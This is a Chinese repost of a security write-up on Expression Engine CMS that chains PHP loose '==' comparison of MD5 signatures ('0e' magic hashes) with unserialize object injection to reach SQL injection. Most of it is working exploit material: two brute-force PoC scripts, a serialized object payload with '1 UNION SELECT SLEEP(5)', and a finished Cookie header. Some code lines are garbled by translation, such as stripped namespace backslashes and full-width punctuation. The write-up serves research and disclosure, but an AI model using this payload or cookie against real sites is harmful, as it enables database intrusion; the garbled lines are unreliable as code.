另類PHP安全漏洞:利用弱型別和物件注入進行SQLi
本文講的是另類PHP安全漏洞:利用弱型別和物件注入進行SQLi,最近,我在一個目標中尋找漏洞時,遇到了一個正在執行Expression Engine(一個CMS平臺)的主機。 這個特殊的應用程式吸引了我,因為當我嘗試使用 “admin” 為使用者名稱登入該應用程式時,伺服器響應的cookie中包含了PHP序列化資料。 如我們之前所說過的,反序列化使用者提供的資料可能導致意外的結果; 在某些情況下,甚至會導致程式碼執行。 於是,我決定仔細檢查一下,而不是盲目的去測試,先看看我能否可以下載到這個CMS的原始碼,通過程式碼來弄清楚序列化資料的過程中到底發生了什麼,然後啟動一個本地搭建的副本進行測試。
protected function _prep_flashdata() { if ($cookie = ee()->input->cookie(`flash`)) { if (strlen($cookie) > 32) { $signature = substr($cookie, -32); $payload = substr($cookie, 0, -32); if (md5($payload.$this->sess_crypt_key) == $signature) { $this->flashdata = unserialize(stripslashes($payload)); $this->_age_flashdata(); return; } } } $this->flashdata = array(); }
a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
$ php -a Interactive mode enabled php > $cookie = `a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4`; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print "Signature: $signature "; Signature: 3f7d80e10a3d9c0a25c5f56199b067d4 php > print "Payload: $payload "; Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";} php >
./system/user/config/config.php:$config[`encryption_key`] = `033bc11c2170b83b2ffaaff1323834ac40406b79`;
php > $salt = `033bc11c2170b83b2ffaaff1323834ac40406b79`; php > print md5($payload.$salt); 3f7d80e10a3d9c0a25c5f56199b067d4 php >
<?php $a = 1; $b = 1; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php int(1) int(1) a and b are the same <?php $a = 1; $b = 0; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php int(1) int(0) a and b are NOT the same <?php $a = "these are the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php string(18) "these are the same" string(18) "these are the same" a and b are the same <?php $a = "these are NOT the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php string(22) "these are NOT the same" string(18) "these are the same" a and b are NOT the same
<?php $a = "0e111111111111111111111111111111"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php string(32) "0e111111111111111111111111111111" string(32) "0e222222222222222222222222222222" a and b are the same
if (md5($payload.$this->sess_crypt_key) == $signature)
$ php -a Interactive mode enabled php > $cookie = `a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4`; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print_r(unserialize($payload)); Array ( [:new:username] => admin [:new:message] => That is the wrong username or password ) php >
<?php set_time_limit(0); define(`HASH_ALGO`, `md5`); define(`PASSWORD_MAX_LENGTH`, 8); $charset = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage); $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = `a:2:{s:13:":new:username";s:`.$length.`:"`.$garbage.`";s:12:":new:message";s:7:"taquito";}`; #echo "Testing: " . $payload . " "; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash "; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $i "; recurse($i, 0, ``); } ?>
$ php poc1.php Checking passwords with length: 1 Checking passwords with length: 2 Checking passwords with length: 3 Checking passwords with length: 4 Checking passwords with length: 5 a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
<?php $a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same "; } else { print "a and b are NOT the same "; } ?> Output: $ php steps.php string(32) "0e553592359278167729317779925758" string(32) "0e222222222222222222222222222222" a and b are the same
if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
function check_password_lockout($username = ``) { if (ee()->config->item(`password_lockout`) == `n` OR ee()->config->item(`password_lockout_interval`) == ``) { return FALSE; } $interval = ee()->config->item(`password_lockout_interval`) * 60; $lockout = ee()->db->select("COUNT(*) as count") ->where(`login_date > `, time() - $interval) ->where(`ip_address`, ee()->input->ip_address()) ->where(`username`, $username) ->get(`password_lockout`); return ($lockout->row(`count`) >= 4) ? TRUE : FALSE; }
SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > `$interval` AND `ip_address` = `$ip_address` AND `username` = `$username`;
a:2:{s:13:":new:username";s:1:"`";s:12:":new:message";s:7:"taquito";}
“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
function escape($str) { if (is_string($str)) { $str = "`".$this->escape_str($str)."`"; } elseif (is_bool($str)) { $str = ($str === FALSE) ? 0 : 1; } elseif (is_null($str)) { $str = `NULL`; } return $str; }
string(1) "y" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486399967) string(11) "192.168.1.5" string(1) "`" int(1)
string(3) "`y`" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486400275) string(13) "`192.168.1.5`" string(4) "```" int(1)
“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
<?php namespace EllisLabExpressionEngineLibraryParserConditionalToken; class Variable extends Token { protected $has_value = FALSE; public function __construct($lexeme) { parent::__construct(`VARIABLE`, $lexeme); } public function canEvaluate() { return $this->has_value; } public function setValue($value) { if (is_string($value)) { $value = str_replace( array(`{`, `}`), array(`{`, `}`), $value ); } $this->value = $value; $this->has_value = TRUE; } public function value() { // in this case the parent assumption is wrong // our value is definitely *not* the template string if ( ! $this->has_value) { return NULL; } return $this->value; } public function __toString() { if ($this->has_value) { return var_export($this->value, TRUE); } return $this->lexeme; } } // EOF
<?php namespace EllisLabExpressionEngineLibraryParserConditionalToken; class Variable { public $lexeme = FALSE; } $x = new Variable(); $x->lexeme = "`"; echo serialize($x)." "; ?> Output: $ php poc.php O:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:6:"lexeme";s:1:"`";}
a:1:{s:13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:6:"lexeme";s:1:"`";}}
string(3) "`y`" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486407246) string(13) "`192.168.1.5`" object(EllisLabExpressionEngineLibraryParserConditionalTokenVariable)#177 (6) { ["has_value":protected]=> bool(false) ["type"]=> NULL ["lexeme"]=> string(1) "`" ["context"]=> NULL ["lineno"]=> NULL ["value":protected]=> NULL }
<h1>Exception Caught</h1> <h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ``` at line 5: SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > 1486407246 AND `ip_address` = `192.168.1.5` AND `username` = `</h2> mysqli_connection.php:122
<?php set_time_limit(0); define(`HASH_ALGO`, `md5`); define(`garbage_MAX_LENGTH`, 8); $charset = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage) + 26; $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = `a:1:{s:+13:":new:username";O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:+6:"lexeme";s:+`.$length.`:"1 UNION SELECT SLEEP(5) # `.$garbage.`";}}`; #echo "Testing: " . $payload . " "; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash "; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) { echo "Checking garbages with length: $i "; recurse($i, 0, ``); } ?> Output: $ php poc2.php a:1:{s:+13:":new:username";O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
原文釋出時間為:2017年2月22日
本文作者:絲綢之路
本文來自雲棲社群合作伙伴嘶吼,瞭解相關資訊可以關注嘶吼網站。
相關文章
- php弱型別PHP型別
- 淺談PHP弱型別安全PHP型別
- 第10章 物件和類——物件和類(六) 抽象資料型別物件抽象資料型別
- PHP弱型別安全問題總結PHP型別
- PHP弱型別引發的漏洞例項PHP型別
- 理解php物件注入PHP物件
- CRM系統如何進行另類資料管理?
- php中物件是引用型別嗎?PHP物件型別
- PHP類方法的型別提示PHP型別
- WordPress < 3.6.1 PHP 物件注入漏洞PHP物件
- 技術分享 | 一種針對PHP物件注入漏洞的新型利用方法PHP物件
- 前端進階-類和物件前端物件
- PHP 底層原理之類和物件PHP物件
- PHP弱型別在實戰中導致的漏洞總結PHP型別
- Laravel 對於 Mysql 欄位string型別查詢,當使用數字對這個欄位進行查詢,PHP弱型別語言導致索引失效LaravelMySql型別PHP索引
- PHP 設計模式答疑-物件池與依賴注入的區別PHP設計模式物件依賴注入
- typescript 介面和物件型別(四)TypeScript物件型別
- sql注入之型別及提交注入SQL型別
- 淺談程式語言型別的強型別,弱型別,動態型別,靜態型別型別
- php.類與物件PHP物件
- Codeigniter 利用加密Key(金鑰)的物件注入漏洞加密物件
- 《JavaScript物件導向精要》之一:基本型別和引用型別JavaScript物件型別
- Javascript中的事件物件和事件型別JavaScript事件物件型別
- PHP phar:協議物件注入技術介紹PHP協議物件
- 類例項物件的class型別卻不屬於該類,何解?物件型別
- Java 包裝類和基本型別Java型別
- sqli-labs-less-24 post型基於儲存的二次注入SQL
- PHP 資料型別之檢視和判斷資料型別PHP資料型別
- fiddler進行修改網路進行弱網測試
- Delegate如何進行型別轉換?型別
- Java:利用BigDecimal類巧妙處理Double型別精度丟失JavaDecimal型別
- 類和物件物件
- Web 安全漏洞之 SQL 注入WebSQL
- sqli-labs ————Stacked 注入攻擊介紹SQL
- 反射獲取注入到spring中的類物件的工具類反射Spring物件
- PHP 物件導向 (十一)反射類PHP物件反射
- 神奇的JavaScript弱等價型別轉換JavaScript型別
- ORACLE物件型別表Oracle物件型別
- 利用PHAR協議進行PHP反序列化攻擊協議PHP